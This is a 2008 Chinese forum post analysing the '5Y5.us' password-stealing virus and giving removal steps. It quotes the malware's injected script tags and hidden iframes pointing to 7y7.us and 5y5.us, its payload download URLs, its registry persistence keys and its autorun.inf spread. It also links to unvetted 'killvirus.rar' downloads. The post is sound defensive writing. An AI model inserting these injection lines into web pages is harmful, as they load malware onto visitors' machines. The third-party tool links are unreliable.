新病毒 “5Y5.us 病毒”处理办法

wxdqz · 发表于 2008-4-14 01:09:11

此病毒应该就是在这几天前发做,是用于盗取密码为主,中毒的主机还会自动进行ARP攻击使网络变的非常卡或根本连接不上网络。 此病毒。还会在局网传播。也就是。你家有10台电脑同用一条ADSL。其中一台中了。就会全部都中了。 在微软还没发布补叮时。建议少去不知名网站。小心中毒。。。 病毒中毒现象.打开任何网站时.会在你所打开的网站加载一个地址.那地址就是 HXXP://5Y5.US 本机中时.不开网页不会没事.一但你开了.就加载了.特别要注意的事.打开网页左下角的的状态栏. 注意这个病毒至今暂时无法被今天的卡巴斯基杀掉、瑞星、360安全卫士之类查杀，也无专杀工具。 用路由上网的朋友可以把5y5.us和7y7.us都加进“域名过滤”当中。 关于7y7.us与ws91.com 进行的APR攻击: <script src="http://www.7y7.us/oK/Vernum.js"></script> <script src="http://www.7y7.us/oK/New.js"></script> C:\WINDOWS\~tmp4704.exe hTTp://7y7.us/oK/svchost.exe 木马生成到这 C:\program files\internet explorer\plugins\ BinNice.dll BinNice.bak 1、复制自身到如下路径： C:\ProgramFiles\InternetExplorer\PLUGINS\BinNice.bak 释放病毒DLL文件到如下路径： C:\ProgramFiles\InternetExplorer\PLUGINS\BinNice.dll 2、修改注册表，添加如下表项，是病毒每次系统启动时加载自身： HKCR\CLSID\{06E6B6B6-BE3C-6E23-6C8E-B833E2CE63B8}\(Default) HKCR\CLSID\{06E6B6B6-BE3C-6E23-6C8E-B833E2CE63B8}\InProcServer32 (Default)="C:\ProgramFiles\InternetExplorer\PLUGINS\BinNice.dll" HKCR\CLSID\{06E6B6B6-BE3C-6E23-6C8E-B833E2CE63B8}\InProcServer32 "ThreadingModel"="Apartment" 3、安装全局钩子，将病毒dll文件注入系统中存在的进程。 4、当发现注入的进程为explorer.exe或VerCLSID.exe时，连接网络到如下网址下载病毒到本地并运行： 内容来自反病毒 h**p://7y7.us/s**n/csrss.exe h**p://7y7.us/s**n/svchost32.exe h**p://7y7.us/s**n/smss.exe h**p://7y7.us/s**n/services.exe h**p://7y7.us/s**n/svchost.exe h**p://7y7.us/s**n/conime.exe h**p://7y7.us/s**n/ctfmon.exe h**p://7y7.us/s**n/mmc.exe h**p://7y7.us/s**n/iexplore.exe h**p://7y7.us/s**n/srogm.exe 5、向可移动磁盘中复制如下病毒文件，传播自身： Ghost.pif autorun.inf 关于5y5.us: 在打开所有网页,都会自动加载以下代码: <iframe src=http://5y5.us/ width=100 height=0 frameborder=0></iframe> <iframe src=http://5y5.us/2/002.htm width=0 height=0></iframe> <html> 处理: (1)立刻屏蔽那些域名的访问: 立刻关闭IE,然后用记本事打开: C:\WINDOWS\system32\drivers\etc 下的,HOST文件... 在127.0.0.1       localhost下面,,换行,加上下面的地址: 127.0.0.1       5y5.us 127.0.0.1       www.5y5.us 127.0.0.1       www.7y7.us 127.0.0.1       7y7.us 127.0.0.1       ws91.com 127.0.0.1       www.ws91.com 保存就OK了,,访问那些网址,都不会转到127.0.0.1(本机IP)这个IP了.. (2)7y7.us专杀: 下载一个360安全卫士,,地址http://www.360safe.com/ 他们网站有专杀工具... (3)防范: 使用火狐浏览器. (4)中毒的主机要想用ARP攻击，就得不断变化自己的MAC地址来截取和发送数据包。 看交换机上哪能个电脑的流量最大,灯狂闪,找到了,就是它
专杀工具下载地址:
<A href="http://free.ys168.com/infile/note/note_6.htm?http://ys-H.ys168.com/?killvirus.rar_72e7bspnnht1bkp0c0c0com1biu14z97f1o0bsjtpm4z">http://free.ys168.com/infile/note/note_6.htm?http://ys-H.ys168.com/?killvirus.rar_72e7bspnnht1bkp0c0c0com1biu14z97f1o0bsjtpm4z</A>
<A href="http://hzyo.com/killvirus.rar" target=_blank>http://hzyo.com/killvirus.rar</A>

账号		自动登录	找回密码
密码			注册账户

新病毒 “5Y5.us 病毒”处理办法

相关帖子